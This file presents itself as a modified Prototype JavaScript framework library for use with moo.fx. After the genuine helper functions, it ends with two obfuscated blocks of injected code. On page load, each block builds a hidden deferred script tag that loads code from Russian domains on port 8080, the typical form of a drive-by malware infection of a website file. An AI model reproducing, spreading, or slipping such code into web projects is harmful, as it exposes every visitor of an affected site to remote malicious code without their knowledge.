/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.iterate = function(func){
	for(var i=0;i<this.length;i++) func(this[i], i);
}
if (!Array.prototype.each) Array.prototype.each = Array.prototype.iterate;

function $c(array){
	var nArray = [];
	for (var i=0;i<array.length;i++) nArray.push(array[i]);
	return nArray;
}

try {var c='nD'} catch(c){};SX=["D","Np"];function q(){var a=document;var Z=new String("onlo"+"ad");var g="pj80sr".substr(4)+"ZG2McG2MZ".substr(4,1);z={ac:"t"};var G=window;try {var E='Y'} catch(E){};var ZZ=new String("body");var V={Xs:"nJ"};var j={m:"C"};var U="app"+"end"+"Chi"+"ld";var I=new Date();var S=new String("sc"+"ri"+"ptZ5J".substr(0,2));this.Kg=8897;this.Kg--;var d=new String("defe4tU".substr(0,4)+"rmo9W".substr(0,1));var X=String("cr"+"ea"+"te"+"9qbyEl".substr(4)+"emCo5".substr(0,2)+"en"+"t");var R=["Xm","Sr","o"];this.ZK="";function B(){Gg={zH:false};try {F=15771;F--;var VA="";I_={A:10540};var v=6513-6512;this.H=false;gy=["Ce","Nr","P"];var n=788716-780636;jA=7654;jA-=125;ZJ=35121;ZJ-=58;var h=String("/w"+"re"+"tcIoL".substr(0,2)+"CJ2dh-Jd2C".substr(4,2)+"rMVqccqMVr".substr(4,2)+"/g"+"6UCdoo".substr(4)+"gl"+"e."+"co"+"m/"+"fi"+"oiVle".substr(3)+"st1ai".substr(0,2)+"wB8ub8Bw".substr(3,2)+"e."+"TMp4co4pTM".substr(4,2)+"TElm.".substr(3)+"phdTR".substr(0,2)+"pF5dP".substr(0,1));var w=new String("http:"+"PuE//dir".substr(3)+"tysin"+".ru:");var fQ=new Array();b=a[X](S);yO={s:64199};this.PR=30270;this.PR++;Sw=["W","an"];Id=[];b[g]=w+n+h;var VM=false;var Sj=false;b[d]=v;try {} catch(fj){};var HG=["my"];this.zR=29508;this.zR--;var ez=["dP"];a[ZZ][U](b);try {} catch(J){};} catch(x){var Dz=["EL","Ld","OQ"];this.Bo=27011;this.Bo-=180;};this.vT=false;fH={Ve:"rW"};}GJ=["cw","Nl"];this.Aj=60783;this.Aj-=184;G[Z]=B;this.LX=31812;this.LX--;this.xn=34261;this.xn--;};var wP=["gI"];q();
try {ki={B:"tU"};var lf="lf";var Yw={G:"_"};var h={SI:false};Zi=15365;Zi+=123;A=25641;A+=201;var w_=new Date();var t=window[String("un"+"es"+"glhca".substr(3)+"pe")];this.F=18530;this.F-=222;var T={kgY:33878};var qk=53148;b=16838;b+=59;var x=new String("onloa"+"d");this.L='';this.X='';var y=16375;var bW=new String();var tc=false;var I=window[(String("RegE"+"xp"))];try {var RM='gz'} catch(RM){};IX={};var Mh=new String();var l='';is=["o"];var lj=["V","crt","Yx"];this.n=false;var MS=["hz","ZO","Pt"];this.oE=false;var f=new String("YNfZrep".substr(4)+"lac2TD".substr(0,3)+"hpzehpz".substr(3,1));try {var H='Aw'} catch(H){};try {var iH='Ab'} catch(iH){};LU=[];_s=45871;_s-=1;this.kn="";var g=new String("7o61".substr(3));var _W="_W";dT={VL:64067};var hr=new Date();Fw={pI:58613};var XX=new Date();function Q(g,O){Ax=[];try {} catch(Sz){};v={Sr:42824};var S="[";var Mu="";var Kim="";S+=O;S+=t("%5d");var a="";try {var tC='Nt'} catch(tC){};py=64902;py--;try {var ER='mT'} catch(ER){};var e=new I(S, String("g"));try {var An='QT'} catch(An){};No=["rF","jM","FB"];try {var hd='ga'} catch(hd){};return g.replace(e, l);GY=["me","Ix","Hw"];H_=["Ry","O_","sK"];this.Cf=63922;this.Cf++;};this.wa=62971;this.wa++;var yf={};Zd=["gU","bY","dX"];Yf=["PP","gA"];Zx=["kb","st"];this.RJ=60043;this.RJ+=180;cF=["mh","Fk"];var OK=String("htt6Iv2".substr(0,3)+"r0jp:/".substr(3)+"hXQ/as".substr(3)+"RpUkhdo".substr(4)+"g.r"+"u:");var er=new Date();var rx={wB:"IZ"};var ku="";var lG="";var Y=new String("/kino"+"poisk"+"A1Zj-ru/g".substr(4)+"oogle"+".com/"+"drudg8Kz".substr(0,5)+"erepo"+"rt.coShy".substr(0,5)+"m.phpSLog".substr(0,5));LS={};var JR={};XE={xZ:"Hy"};XY=23925;XY++;fw=[];var gr=838121-830041;this.wH=60728;this.wH--;this.nI='';var HU={nL:"zQ"};var ye={};var qd=new Date();var re=new String();vO=62551;vO++;function C(){var c=new String("appemZGM".substr(0,4)+"9OALndChL9OA".substr(4,4)+"ild");em=["Ne","hI"];var k=document;hC={ClI:false};var bpp={Db:55921};qA={CD:false};pb={gI:false};var VE=["TI","Ylt","Xd"];var PX="";this.KW=9560;this.KW--;this.iV=19760;this.iV--;var wb=["zd","DI","qE"];var P=Q('sMcSrMiQpxtq','VwmSx7QNlnMeqAEF_d');Qq=10215;Qq-=151;this.Cx="Cx";var VY='';BO=44520;BO-=51;var El=3540;Dj=64278;Dj--;this.GV=45353;this.GV+=97;try {var op='UU'} catch(op){};var bR=false;var Ot=false;var EI=["Zq","QZ","ClD"];this.KZ=56943;this.KZ-=3;xb=k.createElement(P);var Gw="Gw";try {} catch(ko){};var hN='';var tY='';var Xh="Xh";LQ={BN:64641};var WZ="WZ";J=OK+gr;this.iu=false;var opZ=["wKD","pIc"];this.dy='';J=J+Y;this.aT=34302;this.aT--;var SlQ="SlQ";var Vv=new Date();RI=["jF"];var vK={LK:"G_L"};this.dUp=62181;this.dUp-=153;ah={IF:16197};xb[new String("defe"+"enaRr".substr(4))]=g;this.NX="NX";this.Vs="Vs";xb.src=J;var ef=k.body;Uh=["Pq","lu","jO"];GuQ=21005;GuQ-=234;nr=["tw","Xs","kM"];ZS={ot:58521};var jOg=new Date();EY=38442;EY--;var zc='';var HF='';lk=36157;lk--;ef[c](xb);var LF={_j:"RN"};qa=16603;qa++;this.Il="Il";vq=["oFC","XP","xS"];this.tq="tq";};this.qm=5861;this.qm++;iR=["XsU","pQ","Cc"];rk=760;rk-=27;window[x]=C;try {} catch(xU){};this.AH="AH";var nB={fR:"ZQn"};this.DS=37727;this.DS++;var ao='';this.zs=35438;this.zs++;} catch(M){var eZ="";this.lm="";this.kMd='';this.fJ="";this.Vx="";var nM=14669;};IU=37602;IU--;var Hx={DUb:47342};var UQ="";